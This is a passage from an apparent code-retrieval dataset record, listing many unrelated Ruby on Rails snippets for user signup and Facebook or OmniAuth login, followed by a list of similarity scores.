)\n if u\n u.facebook_hash = fb_user.email_hashes.first\n u.fb_user_id = fb_user.uid\n else\n u = ::User.create(_(:username) => username || fb_user.email_hashes.first, _(:last_login) => Time.now.utc, _(:fb_user_id) => fb_user.uid, _(:facebook_hash) => fb_user.email_hashes.first)\n end\n u.create_person_from_fb(fb_user) unless u.person\n u.save(false)\n u\n end", "def ensure_user_created\n if User.find_by_ldap_uid(ldap_user.uid)\n Rails.logger.debug(\"User in user table.\")\n true\n else\n Rails.logger.debug(\"User not in user table, redirecting to new user form.\")\n redirect_to(new_users_url) and return\n end\n end", "def has_facebook_profile?\n fb_userid.present?\n end", "def create\n auth = request.env[\"omniauth.auth\"]\n user = User.find_by_provider_and_uid(auth[\"provider\"], auth[\"uid\"]) || User.create_with_omniauth(auth)\n User.update(user.id, :fb_nickname => auth[\"info\"][\"nickname\"])\n session[:user_id] = user.id\n redirect_to root_url\n end", "def fill_up_user_create\n # if self.class.column_names.include? 'updated_by_id'\n # if UserInfo.current_user_id\n # # if updated_by_id && updated_by_id != UserInfo.current_user_id\n # # logger.info \"NOTICE create - self.updated_by_id is different: #{updated_by_id}/#{UserInfo.current_user_id}\"\n # # end\n # # self.updated_by_id = UserInfo.current_user_id\n # end\n # end\n\n # return true if !self.class.column_names.include? 'created_by_id'\n\n return true if !UserInfo.current_user_id\n\n # if created_by_id && created_by_id != UserInfo.current_user_id\n # logger.info \"NOTICE create - self.created_by_id is different: #{created_by_id}/#{UserInfo.current_user_id}\"\n # end\n # self.created_by_id = UserInfo.current_user_id\n true\n end", "def create?\n # false # no access\n user.present? # minimum requirement for creating records \n # like posts or comments is that a user exist and be logged in. \n end", "def self_signup?\n user_id == author_id\n end", "def create_user(fb_user_id)\n\t\t\t# Get user info from FB\n\t\t\tfb_user = @graph.get_object(fb_user_id)\n\n\t\t\t# create new user\n\t\t\tuser = User.new\n\t\t\tuser.fb_id = fb_user['id']\n\t\t\tuser.last_name = fb_user['last_name']\n\t\t\tuser.first_name = fb_user['first_name']\n\t\t\tuser.locale = fb_user['locale']\n\t\t\tuser.gender = fb_user['gender']\n\t\t\tuser.active = false\n\t\t\tuser.role = User::ROLE_USER\n\t\t\tuser.save\n\n\t\t\t# add FB Item to DB\n\t\t\tfb_item = FbItem.new\n\t\t\tfb_item.fb_id = user.fb_id\n\t\t\tfb_item.ssg_id = user.id\n\t\t\tfb_item.name = fb_user['name']\n\t\t\tfb_item.fb_object_type = FbItem::USER\n\t\t\tfb_item.save\n\n\t\t\treturn user\n\t\tend", "def creatable_by?(user)\n true\n end", "def create\n if Feedbunch::Application.config.signups_enabled\n super\n else\n Rails.logger.warn \"Creation of new user attempted, but signups are disabled\"\n redirect_to root_path\n end\n end", "def create_from_fb\n fb_user = FbGraph::User.fetch(\n \"me?fields=first_name,last_name,\"\\\n \"gender,email,birthday\",\n :access_token => params[:access_token])\n\n @user = User.add_from_fb(fb_user,@source)\n end", "def facebook_create\n @new_user = User.find_or_create_by(uid: auth['uid']) do |u|\n u.name = auth['info']['name']\n u.email = auth['info']['email']\n u.image = auth['info']['image']\n u.password = User.generic_password\n end\n @new_user.save\n session[:user_id] = @new_user.id \n redirect_to home_path(@new_user)\n end", "def new_unique_user\n puts '>>> params:'\n puts params.inspect\n user = User.find_or_initialize_by_email(params[:user][:email])\n puts '>>> created?'\n puts user.new_record?\n\n if user.new_record?\n created = true\n \n #use_password default to false\n user.use_password = false\n \n if user.save\n success = true\n else\n success = false\n end\n else\n created = false\n success = true\n end\n \n response = { :success => success, :created => created }\n \n puts '>>> User:'\n puts user.inspect\n puts '>>> response'\n puts response.inspect\n \n render json: response\n end", "def call\n context.user = User.find_by_telegram_id(context.telegram_user.id)\n return if context.user\n\n context.is_new_user = true\n context.user = User.create(\n telegram_id: context.telegram_user.id,\n )\n end", "def created_by?(user)\n unless user.nil?\n userid = user.send(BigbluebuttonRails.configuration.user_attr_id)\n self.creator_id == userid\n else\n false\n end\n end", "def canCreate?(user=current_user)\n return false if user.nil?\n true\n end", "def create\n auth = request.env[\"omniauth.auth\"] \n user = User.find_by_fb_id(auth[\"uid\"]) || User.create_with_omniauth(auth) \n #for those update from feeds\n if user.access_token.empty?\n user.access_token = auth[\"credentials\"][\"token\"]\n user.save\n end\n redirect_to FB_APP_URL \n end", "def creatable_without_user\n false\n end", "def make_friend_if_existing_user(email, user)\n if other_user = User.find_by_email(email)\n user.make_friend_with other_user\n true\n else\n false\n end\n end", "def create\n\n params[:user].reject! {|k,v| !['name','email','password','facebook_uid'].include?k }\n @user = User.new(params[:user])\n if @user.facebook_uid and current_facebook_user and current_facebook_client\n if current_facebook_user.id == @user.facebook_uid\n @user.facebook_session_key = current_facebook_client.access_token\n @user.password = \"fb-#{@user.facebook_uid}-\"+Time.now().to_s if @user.password.empty?\n end\n else\n if @user.password != params[:password_verify] then\n @user.errors.add(:password, \"Password fields don't match\")\n respond_to do |format|\n format.html { render :action => \"new\" }\n format.json { render json: @user }\n end\n return\n end\n end\n \n respond_to do |format|\n if @user.save\n UserSession.create(@user, true)\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.json { render json: @user }\n else\n format.html { render :action => \"new\" }\n format.json { render json: @user }\n end\n end\n end", "def make_user\n @user = User.new(session_token: params[:session_token])\n graph = Koala::Facebook::API.new(@user.session_token)\n id = graph.get_object(\"me\")[\"id\"]\n if id != params[:facebook_id]\n render json: [\"Invalid session token\"], status: 401\n return\n end\n @user.fill_user_data(graph)\n if @user.save\n # @user.add_friends(graph)\n render \"api/users/show\"\n else\n render json: @user.errors.full_messages, status: 422\n end\n end", "def create\n @user = User.new({\"fb_id\" => params[:user][\"fb_id\"]})\n @user.save()\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def added_fb_account?\n !self.external_user_id.nil?\n end", "def create\n checkexists = User.find_by(email: user_params[:email], organization_id: user_params[:organization_id])\n\tif checkexists\n\t\tflash[:danger] = 'A user with this email address already exists within the specified organization'\n\t\tredirect_to '/signup.html'\n\telse\n\t\t@user = User.new(user_params)\n\t\t@user.write_attribute(:is_admin, false)\n\t\tif @user.save\n\t\t\trender 'show'\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend\n end", "def create_fb_test_user(connected=true,permissions=\"email\")\n ug = Koala::Facebook::TestUsers.new(:app_id => OPTIONS[:facebook_app_id], :secret => OPTIONS[:facebook_secret_key])\n if connected\n user = ug.create(true, permissions)\n else\n user = ug.create(false)\n end\n return user\n end", "def before_create_user\n logger.debug(\"on before creare user\")\n #Generate a unique key\n if facebook_user?\n self.active = 1 \n else\n activation_key_string = self.salt+self.email+self.hashed_password\n self.activation_key =Digest::SHA1.hexdigest(activation_key_string)\n self.active = 0\n end\n self.admin = 0 \n self.handle=generate_unique_handle\n \n end", "def create_fb\n if current_facebook_user\n current_facebook_user.fetch\n if logged_in_member\n logged_in_member.update_attribute(:fb_user_id, current_facebook_user.id)\n redirect_to logged_in_member\n else\n @member = Member.find_or_initialize_with_facebook(current_facebook_user)\n conference_delegate = ConferenceDelegate.find_by_signature(params[:signature]) if !params[:signature].blank?\n if @member.new_record?\n @member.conference_delegate = conference_delegate\n @member.auth_service = 'Facebook'\n render :template => \"sessions/register_email\"\n else\n if conference_delegate && conference_delegate.member.nil? && @member.conference_delegate.nil?\n conference_delegate.update_attribute(:member, @member)\n end\n login_member!(@member)\n end\n end\n else\n redirect_to new_session_path\n end\n end", "def register_user_to_fb(force = false)\n if force || changed.include?('username') || changed.include?('facebook_username')\n email = facebook_username.present? ? facebook_username : username\n users = {:email => email, :account_id => id}\n ::Facebooker::User.register([users]) unless Rails.env.test?\n self.facebook_hash = ::Facebooker::User.hash_email(email)\n end\n end", "def create\n\t\t@user = User.new(user_params)\n\n\t\tif params[:user][:social_login] == 1 \n\t\t\tuser_email = params[:user][:email]\n\t\t\tuser = User.find_by_email(user_email)\n\t\t\tif user_email.present? && user.present?\n\t\t\t\tlogger.info \"=======No facebook user===========\"\n\t\t\t\tsign_in user, store: false\n\t\t\t\tuser.update_device_token_with_social(params)\n\t\t\t\tuser.save\n\t\t\t\ttoken = Tiddle.create_and_return_token(user, request)\n\t\t\t\trender json: user, status: 200, serializer: Website::V1::UserSerializer, token: token\n\t\t\telse\n\t\t\t\t#template = NotificationTemplate.where(category: I18n.t('Notification.welcome')).last\n\t\t\t\tlogger.info \"============facebook user==========\"\n\t\t\t\tlogger.info \"=======params[:user]==========\"\n\t\t\t\tfacebook_user = User.find_by_facebook_id(params[:user][:facebook_id]) if params[:user][:facebook_id].present?\n\t\t\t\t\n\t\t\t\tif facebook_user.present?\n\t\t\t\t\tlogger.info \"======#{facebook_user.inspect}=======\"\n\t\t\t\t\tcount = facebook_user.sign_in_count + 1\n\t\t\t\t\tfacebook_user.update(sign_in_count: count)\n\t\t\t\t\tsign_in facebook_user, store: false\n\t\t\t\t\tfacebook_user.update_device_token_with_social(params)\n\t\t\t\t\ttoken = Tiddle.create_and_return_token(facebook_user, request)\n\t\t\t\t\trender json: facebook_user, status: 200, serializer: Website::V1::UserSerializer, token: token\n\t\t\t\telse\n\t\t\t\t\tlogger.info \"==========validation failed===========\"\n\t\t\t\t\tif @user.save(validate: false)\n\t\t\t\t\t\tlogger.info \"==========user saves======#{@user.inspect}=========\"\n\t\t\t\t\t\tusers_creation(params)\n\t\t\t\t\t\ttoken = Tiddle.create_and_return_token(@user, request)\n\t\t\t\t\t\tusers_social_login(params)\n\t\t\t\t\t\trender json: @user, status: 201, serializer: Website::V1::UserSerializer, token: token\n\t\t\t\t\telse\n\t\t\t\t\t\tlogger.info \"==========user errors======#{@user.errors.inspect}=========\"\n\t\t\t\t\t\trender json: { errors: @user.errors}, status: 422\n\t\t\t\t\tend\n\t\t\t\t\t#@user.send_welcome_notification(template, params)\n\t\t\t\tend\n\t\t\t\t#@user.send_welcome_notification(template)\n\t\t\tend\n\t\telsif @user.save\n\t\t\tlogger.info \"=======No social login===========\"\n\t\t\ttoken = Tiddle.create_and_return_token(@user, request)\n\t\t\trender json: @user, status: 201, serializer: Website::V1::UserSerializer, token: token\n\t\t\tusers_creation(params)\n\t\telse\n\t\t\trender json: { errors: @user.errors}, status: 422\n\t\tend\n\tend", "def email_required?\n !fb_user?\n end", "def new\n @user = User.new\n @is_signup = true\n end", "def is_user?\n user ? true : false\n end", "def facebook_connect_user?\n facebook_user? and password.blank?\n end", "def create\n auth = request.env[\"omniauth.auth\"]\n user_info = auth[\"info\"] ? auth[\"info\"] : auth[\"user_info\"]\n authentication = Authorization.where(:provider => auth['provider'], :uid => auth['uid']).first\n authentication = Authorization.new(:provider => auth['provider'], :uid => auth['uid']) if !authentication\n session[:fb_token] = auth['credentials']['token'] if auth['credentials']['token'] != nil\n # if the user exists, but does not have a link with the social service\n if !authentication.user && current_user\n authentication.user = current_user\n authentication.save\n end\n # twitter only (gets no email)\n if !authentication.user && !user_info[\"email\"]\n flash[:notice] = \"No user linked to this account. Please sign in or create a new account\"\n redirect_to '/users/sign_up/'\n # if user doesnt exists, register user\n elsif !authentication.user\n user = User.where(email: user_info['email']).first\n if user\n authentication.user = user\n else\n new_user = User.new(email: user_info['email'], username: user_info['name'], first_name: user_info['first_name'], last_name: user_info['last_name'], role: \"registered\")\n new_user.save\n authentication.user = new_user\n end\n authentication.save\n end\n # if user exists, sign in. Gives a Mongoid glitch of not signing in after registration. So double sign in\n if authentication.user\n if !current_user\n sign_in authentication.user\n sign_out authentication.user\n sign_in authentication.user\n # raise \"user signed in? #{user_signed_in?.to_s}\".inspect\n flash[:notice] = \"Authorization successful.\"\n redirect_to root_path\n else\n flash[:notice] = \"Linked successfully.\"\n redirect_to '/users/'+current_user.id\n end\n end\n end", "def new\n @user_signup = User.new\n @is_signup = true\n end", "def create?\n user.present? && user.admin?\n end", "def user_exists?\n\t !User.find_by_email(email).nil? ? true : false\n\tend", "def allow_sign_up?\n @allow_sign_up\n end", "def new\n \n if request.env['omniauth.auth'].present?\n params = request.env[\"omniauth.params\"]\n\n @fb_data = fetch_facebook_params\n @user = Spree::User.where(email: @fb_data[:email]).first\n\n\n if (@user.blank? && params[\"login\"].present?) || (@user.present? && is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?)\n\n #here need to check if it's a fb registered user + in params we must receive login\n #if !is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?\n #use the @not_yet_fb_signed_up to notify the message at the top.\n\n @not_yet_fb_signed_up = true\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n #user does not registered yet & coming for signup(or login params is blank.)\n elsif @user.blank? && params[\"login\"].blank?\n @user = Spree::User.new(email: @fb_data[:email], facebook_token: @fb_data[:fb_token], image: @fb_data[:image])\n @user.addresses.build\n @user.creditcards.build\n @user.addresses.first.firstname = @fb_data[:firstname]\n @user.addresses.first.lastname = @fb_data[:lastname]\n\n #user is registered & still trying for signup via facebook\n elsif @user.present? && params[\"login\"].blank?\n @registered_email = @user.email\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n else\n #update the token if @user_founds token is not same as the @fb_token\n @user.update_attributes(facebook_token: @fb_data[:fb_token], image: @fb_data[:image]) if @user.facebook_token != @fb_data[:fb_token]\n sign_in(:spree_user, @user)\n redirect_to spree.snack_queue_orders_path\n end\n\n else\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n end\n @subscriptions = Subscription.select('id, subscription_type', 'plan_price')\n @snacks = Spree::Product.limit(6)\n @snacks.sort_by! { |x| x[:name].downcase }\n\n end", "def user_defined?\n !@user.nil? || !@user['userId'].nil?\n end", "def create?\n #everyone who is loggedin can do this action\n true\n end", "def associate_user\n \tfbUserIdString = params[:idString]\t\n \tuser = User.new(fbUserId:fbUserIdString)\n \tif user.valid?\t\n\t\t\t user = User.create(fbUserId:fbUserIdString)\n\t\t\t success = true\n\t\t end\n\t\t start_session(fbUserIdString)\n end", "def create_user(**data)\n create_object(type: 'User', data: { enabled: true }.merge(data))\n end", "def create_user params, send_info_email = false\n if params[:email] && !params[:email].empty?\n email = params[:email].downcase\n else\n email = params[:person_identifier] + '@example.com' if params[:person_identifier]\n end\n\n if email && email =~ /\\A[^@]+@[^@]+\\z/\n u = User.find_by_email(email)\n email_correct = true\n end\n return u if u\n\n # no existing user, create new\n u = User.new\n u.email = email\n\n unless email_correct \n while User.find_by_email(u.email)\n if params[:first_name] && !params[:first_name].empty? && params[:last_name] && !params[:last_name].empty?\n identifier = params[:first_name] + '.' + params[:last_name] + SecureRandom.hex(5)\n else\n identifier = SecureRandom.hex(15)\n end\n u.email = identifier + '@example.com'\n end\n end\n\n if params[:password] && !params[:password].empty?\n pw = params[:password]\n else\n pw = SecureRandom.base64(5)\n end\n u.password = pw\n u.password_confirmation = pw\n\n u.first_name = params[:first_name]\n u.last_name = params[:last_name]\n if params[:display_name]\n u.display_name = params\n elsif u.first_name && u.last_name\n u.display_name = u.first_name + ' ' + u.last_name\n end\n\n u.skip_confirmation! if User.respond_to? 'skip_confirmation!' # skip the confirmation email, that would be automatically sent by devise\n AuditoriumMailer.automatically_generated_user(u.email, password).deliver if send_info_email unless u.email.include? '@example.com'\n\n u.save\n u\n end", "def register_user_to_fb\n\t #users = {:email => email, :account_id => id}\n\t #Facebooker::User.register([users])\n\t #self.email_hash = Facebooker::User.hash_email(email)\n\t #save(false)\n\tend", "def is_potential_user?\n\t\ttrue\n\tend", "def new?\n @user\n end", "def new_user user_or_page_data\n Services::Facebook::User.new do |user|\n # Facebook casts some IDs as strings and others as integers, but in the interest of being consistent and\n # future-proof we'll cast them all to strings.\n user.id = (user_or_page_data[:uid] || user_or_page_data[:page_id]).to_s\n user.name = user_or_page_data[:name]\n end\n end", "def createF\r\n user = User.omniauth(env['omniauth.auth'])\r\n session[:user_id] = user.id\r\n Action.create(info: current_user.username + ' has logged in using facebook.', user_email: current_user.email)\r\n redirect_to user\r\n end", "def user_exists?\n \t\tself.errors.add(:name, \"does not exist!\") unless self.user_id.present?\n \tend", "def dummy_user?\n (user_id.split('/').first == 'gofreerev')\n end", "def dummy_user?\n (user_id.split('/').first == 'gofreerev')\n end", "def meetup_auto_create_account?\n self.meetup_auto_create_account\n end", "def check_facebook \n return unless Facebooker.api_key\n if logged_in? and facebook_session and not current_user.has_facebook?\n return if facebook_session.user.uid == 55714215 and current_user.id != 1 # this is jim, don't add his facebook to everyone's account!\n @user = User.find(current_user.id)\n if not @user.update_with_facebook(facebook_session)\n return\n end\n if not @user.activated?\n @user.activate!\n end \n @current_user = User.find(current_user.id)\n flash.now[:notice] = t('facebook.synced', :government_name => current_government.name)\n end \n end", "def set_create_user(opts)\n opts = check_params(opts,[:user_info])\n super(opts)\n end", "def allow_user(user_id)\n create_entry(user_id, USER, true)\n end", "def create?\n @user.expert\n end", "def user_exists?(user)\n return !get_user(user).nil?\n end", "def creator?\n if session[:user_id] == @event.id\n @creator = true\n else\n @creator = false\n end\n end", "def create_user_if_valid(user_fields)\n ActiveRecord::Base.transaction do\n begin\n @user = User.create!(user_fields)\n if @user\n UserMailer.notify_admin(@user).deliver\n flash[:notice] = \"Thank you for registering, a confirmation will be sent to you shortly\"\n return true\n end\n return false\n rescue Exception => e\n @user = nil\n @user_error = e\n return false\n end\n end\n end", "def set_user_tasking_mode_on\r\n if @current_user.facebook_user?\r\n @current_user.is_tasking = true\r\n @current_user.save(false)\r\n else\r\n @current_user.update_attribute(:is_tasking, true)\r\n end\r\n end", "def create\n if params[:via_linkedin] == false\n # create the new user instance with params from sign up form\n user = User.create(user_params)\n else\n params[:user][:password] = SecureRandom.hex\n\n # find or create the new user instance via linkedin\n user = User.where(provider: user_params[:provider], uid: user_params[:uid])\n .first_or_create(user_params)\n end\n # check the user save ok\n if user.persisted?\n # use the Knock AuthToken model to create a token for us\n render json: { jwt: auth_token(user).token, user: UserSerializer.new(user) }, status: 200\n else\n # bad request\n render json: user, status: 400\n end\n end", "def user_exists?(email_address)\n !!read_user(email_address)\n end", "def signup_with_facebook\n @status, @msg, @data = UserValidator.signup_with_facebook(params)\n @status, @msg, @data = UserManager.signup_with_facebook(params) if @status\n end", "def create_user(details)\n puts \"Checking for #{details[:user_name]} user...\"\n\n db_user = User.where(:user_name => details[:user_name]).first\n\n if db_user.blank?\n db_user = User.create(details)\n db_user.creator_id = db_user.id\n db_user.updater_id = db_user.id\n\n db_user.skip_user_name_exclusion_list = true\n\n db_user.save!\n\n db_user.skip_user_name_exclusion_list = false\n\n puts \"... #{details[:user_name]} user created.\"\n else\n puts \"... #{details[:user_name]} user already exists.\"\n end\nend", "def has_user?\n !user.nil?\n end", "def create_user_if_none_exist\n return if User.exists?\n puts \"Creating Users...\"\n\n User.create :email => \"test@test.com\", :password => \"welcome1\", :password_confirmation => \"welcome1\"\n end", "def saved?\n user_id?\n end", "def new?(user)\n not read? and user != sender\n end", "def create_with_facebook\n auth_hash = request.env['omniauth.auth']\n authorization = Authorization.find_by_provider_and_uid(auth_hash['provider'], auth_hash['uid'])\n name = auth_hash['info']['name'].split\n email = auth_hash['info']['email']\n first, last = name[0], name[1..-1].join(' ')\n user = User.find_by_first_name_and_last_name_and_email(first, last, email)\n\n # when both a user and an authorization have been found\n if authorization && user\n user.oauth_token = auth_hash['credentials']['token']\n user.save\n authorization.update_attribute 'user', user\n sessionize authorization.user\n\n # if only a user exists, build an authorization\n elsif user\n user.authorizations.build :provider => auth_hash['provider'], :uid => auth_hash['uid']\n sessionize user\n\n # No user or authorization; build them\n else\n user = User.new(:first_name => first, :last_name => last, :email => email)\n user.authorizations.build :provider => auth_hash['provider'], :uid => auth_hash['uid']\n user.save\n sessionize user\n end\n\n redirect_to root_path\n end", "def user_exists?\n return (session[:user_id] && User.find(session[:user_id])) ? true : false\n end", "def create\n @user = User.new(params[:user])\n if @user.openid_url.nil? || @user.openid_url.blank?\n handle_traditional_registration\n else\n handle_openid_registration\n end\n end", "def creator?(object)\n current_user == object.user ? true : false\n \n end", "def create?\n return false unless @user\n\n @user.try(:admin?) || @record.user == @user ||\n @record.group&.users&.include?(@user) ||\n NodePolicy.new(@user, @record.node).create?\n end", "def create\n @user = User.new(user_params)\n @user.netid = session[:cas_user]\n @user.objectm = {}\n\n respond_to do |format|\n if @user.save\n #UserMailer.welcome_email(@user).deliver\n format.html { redirect_to \"/auth/facebook\" }\n format.json { render action: 'show', status: :created, location: @user }\n else\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def default_facebook\n post.new_record?\n end", "def create?\n false\n end", "def ensure_facebook_connect\n set_facebook_session()\n if facebook_session && facebook_session.user.id\n @user = User.find_or_create_by_facebook_id(facebook_session.user.id)\n else\n redirect_to :controller=>:account, :action=>:login, :next_url=>request.request_uri\n end\n end", "def set_user\n @user = User.find_by_external_id(params[:id])\n @user = User.create!(name: params[:name], email: params[:email], external_id: params[:external_id]) unless @user\n end", "def check_for_user\n if User.count == 0\n User.create({:login => \"admin\", :password => \"password\", :password_confirmation => \"password\", :name => 'blog owner', :email => \"none@none\", :time_zone => \"Europe/London\"})\n # Display the newly created users details\n notify \"No users found, so default user created: authenticate with login \\\"admin\\\", password \\\"password\\\", and then change your password.\"\n end\n login_required\n end", "def create_user(options = {})\n\t\trecord = Factory.build(:user,options)\n\t\trecord.save\n\t\trecord\n\tend", "def create_user(options = {})\n\t\trecord = Factory.build(:user,options)\n\t\trecord.save\n\t\trecord\n\tend", "def create\n @user = User.new(user_params)\n @user.is_admin = true if User.count == 0\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to :root, notice: 'Thank you for creating your MindImp Account! Please check your email for more details.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def oauth_signup\n @user = User.new(\n nickname: params[:nickname],\n sex: params[:sex],\n phone: params[:phone],\n birthday: params[:birthday],\n province: params[:province],\n city: params[:city],\n area: params[:area] )\n @user.created_by_oauth = 'mobile'\n @user.authentications.build(\n uid: params[:oauth_uid],\n provider: params[:provider],\n access_token: params[:access_token])\n if @user.save\n @user.confirm!\n render :login\n else\n render json: {\n success: false,\n message: @user.errors.messages\n }\n end\n end" ]
[ "0.72494733", "0.7207045", "0.7083931", "0.7083931", "0.7083931", "0.70563644", "0.7047767", "0.69928604", "0.6984873", "0.6984873", "0.69770277", "0.69500273", "0.69407", "0.6872556", "0.6821319", "0.6799933", "0.66611254", "0.6585686", "0.6561982", "0.65324515", "0.6530622", "0.65127325", "0.6490608", "0.647287", "0.64706683", "0.64613724", "0.6451187", "0.6445333", "0.6434983", "0.64183104", "0.64041096", "0.63891536", "0.63837475", "0.6380038", "0.63636833", "0.63612753", "0.634922", "0.63491404", "0.6348987", "0.63370526", "0.6297178", "0.6293398", "0.62525624", "0.6245763", "0.62164235", "0.6208916", "0.6189011", "0.6187075", "0.6184461", "0.6149672", "0.61379194", "0.61371493", "0.6136765", "0.6135912", "0.6132701", "0.61202955", "0.61173", "0.6111882", "0.61076695", "0.6094687", "0.60884446", "0.6082946", "0.60798025", "0.60723764", "0.60598284", "0.6056102", "0.6045143", "0.60445756", "0.60445756", "0.6035127", "0.60216284", "0.6019413", "0.6017258", "0.6015481", "0.6015355", "0.60149354", "0.60107094", "0.6009585", "0.6007647", "0.600572", "0.60051745", "0.6004924", "0.59973174", "0.59913164", "0.5986242", "0.5982754", "0.5980191", "0.59801435", "0.59775674", "0.5975996", "0.5975726", "0.5975641", "0.5968388", "0.59597754", "0.59548163", "0.5944665", "0.59392697", "0.59371257", "0.59371257", "0.593662", "0.5935989" ]
0.0
-1
Which method should be called before the event of a successful authentication via facebook connect? Default: :during_connect Accepts: Symbol
def facebook_connect_callback(value=nil) rw_config(:facebook_connect_callback, value, :before_facebook_connect) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def before_connect(facebook_session)\n self.login = facebook_session.user.name\n self.facebook_name = facebook_session.user.name\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'facebook'\n end", "def facebook\n handle_auth \"facebook\"\n end", "def before_connect(facebook_session)\n self.login = 'facebook_' + facebook_session.user.name\n self.facebook_name = facebook_session.user.name\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'facebook'\n end", "def facebook\n handle_oauth\n end", "def authenticate!\n if resource = mapping.to.fb_authenticate(params[scope])\n success!(resource)\n else\n redirect!(\"/#{scope.to_s.pluralize}/facebook_connect_create\", params)\n end\n end", "def pre_authorize_cb; end", "def connection_status_login_request; end", "def pre_connect(request); end", "def before_connect(fb_session)\n begin\n # Get user info and store in session.\n fb_session.user.populate\n logger.debug \"FACEBOOK SESSION: #{pp fb_session.user}\"\n \n # == Account details.\n self.facebook_proxy_email = fb_session.user.try(:proxied_email)\n self.login = fb_session.user.try(:username) # not supported by Facebooker right now\n self.locale = fb_session.user.try(:locale) # or nil\n self.format_locale\n # \"Stockholm\" => \"(GMT+01:00) Stockholm\", \"Never-Never-land\" => \"(GMT+00:00) UTC\"\n self.time_zone = fb_session.user.try(:current_location).try(:city)\n self.country = fb_session.user.try(:current_location).try(:country) # or nil\n \n # == Account profile details.\n profile_hash = {}\n profile_hash[:real_name] = fb_session.user.try(:name)\n # Based on locale =P\n profile_hash[:gender] = fb_parse_gender(fb_session.user.try(:sex))\n \n # == Examples:\n # profile_hash[:about_me] = facebook_session.user.try(:profile_blurb)\n # profile_hash[:birthdate] = facebook_session.user.try(:birthday_date).try(:to_date)\n # profile_hash[:birthdate] ||= facebook_session.user.try(:birthday).try(:to_date)\n \n self.profile ||= Profile.create(profile_hash)\n rescue Facebooker::Session::SessionExpired, ActionController::InvalidAuthenticityToken\n # proceed\n ensure\n self.confirmed_at = Time.now # Activate account - no e-mail confirmation for FBC-accounts.\n self.format_locale\n end\n end", "def pre_authorize_cb=(_arg0); end", "def pre_connect_hooks\n @agent.pre_connect_hooks\n end", "def facebook_request\n redirect_to facebook_authenticate_url\n end", "def facebook\n callback\n end", "def post_connect_hooks; end", "def post_connect_hooks; end", "def authenticate(fb_user)\n \n \n end", "def pre_connect_hooks; end", "def pre_connect_hooks; end", "def det_facebook_login_method\n @status, @msg, @data = UserValidator.det_facebook_login_method(params)\n end", "def logged_in_to_facebook_and_app_authorized\n if ensure_application_is_installed_by_facebook_user \n # filter_parameter_logging :fb_sig_friends # commenting out for now because it fails sometimes\n end\n end", "def after_custom_authentication; end", "def capable_login_auth?; end", "def facebook\n handle_redirect('devise.facebook_data', 'Facebook')\n end", "def pre_connect\n\t\t\ttrue\n\t\tend", "def prepare\n remember_remember_me\n remember_signup_flow_type\n remember_signup_flow_origin_type\n remember_signup_flow_destination\n remember_signup_flow_network\n redirect_to auth_path(params[:network] || 'facebook')\n end", "def post_connect_hooks\n @agent.post_connect_hooks\n end", "def after_database_authentication; end", "def after_login(&block)\n add_callback(:login, block)\n end", "def after_custom_authentication\n\n end", "def pre_connect\n\t\t# false\n\t\ttrue\n\tend", "def fb_auth\n session[:sign_up_reason] = nil\n\n if params[:return_to]\n set_after_sign_in_location(params[:return_to])\n elsif params[:spree_user_return_to]\n set_after_sign_in_location(params[:spree_user_return_to])\n elsif is_user_came_from_current_app\n set_after_sign_in_location(request.referrer)\n end\n\n if params[:redeem_via_fb_state]\n session[:redeem_via_fb_state] = params[:redeem_via_fb_state]\n end\n\n if params[:new_modal_fb_state]\n session[:new_modal_fb_state] = params[:new_modal_fb_state]\n end\n\n if params[:show_promocode_modal]\n session[:show_promocode_modal] = params[:show_promocode_modal]\n # reset current modal popup\n set_after_sign_in_location(root_path)\n end\n\n session[:auto_apply] = params[:auto_apply] if params.key?(:auto_apply)\n session[:auto_apply_promo] = params[:auto_apply_promo] if params.key?(:auto_apply_promo)\n\n # Capture PLEASE REMIND ME ABOUT MY SALE events to push onto customer.io later.\n session[:email_reminder_promo] = params[:email_reminder_promo] if params.key?(:email_reminder_promo)\n\n\n redirect_to spree.spree_user_omniauth_authorize_url(provider: :facebook, scope: 'email,public_profile,user_friends')\n end", "def facebook\n end", "def verify_authenticity_token\n super unless request_comes_from_facebook?\n end", "def auth\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"params=#{params}\",\n \"\" ] if browse_everything_controller_debug_verbose\n # params contains the access code with with the key :code\n provider_session.token = provider.connect(params, provider_session.data, connector_response_url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider_session.token=#{provider_session.token}\",\n \"\" ] if browse_everything_controller_debug_verbose\n provider_session.token\n end", "def facebook\n\n end", "def on_after_oauth2_connect(oauth2_user_attributes)\n if self.respond_to?(:after_oauth2_connect)\n self.send(:after_oauth2_connect, oauth2_user_attributes)\n end\n end", "def connection_successful\n @authenticating = false\n opened!\n\n exec_callback_yielding_self(:connect)\n end", "def after_hash_token_authentication\n end", "def before_method(request, response)\n if @current_principal\n # We already have authentication information. This means that the\n # event has already fired earlier, and is now likely fired for a\n # sub-request.\n #\n # We don't want to authenticate users twice, so we simply don't do\n # anything here. See Issue #700 for additional reasoning.\n #\n # This is not a perfect solution, but will be fixed once the\n # \"currently authenticated principal\" is information that's not\n # not associated with the plugin, but rather per-request.\n #\n # See issue #580 for more information about that.\n return nil\n end\n\n if @backends.empty?\n fail Dav::Exception, 'No authentication backends were configured on this server.'\n end\n\n reasons = []\n @backends.each do |backend|\n result = backend.check(request, response)\n\n if !result.is_a?(Array) 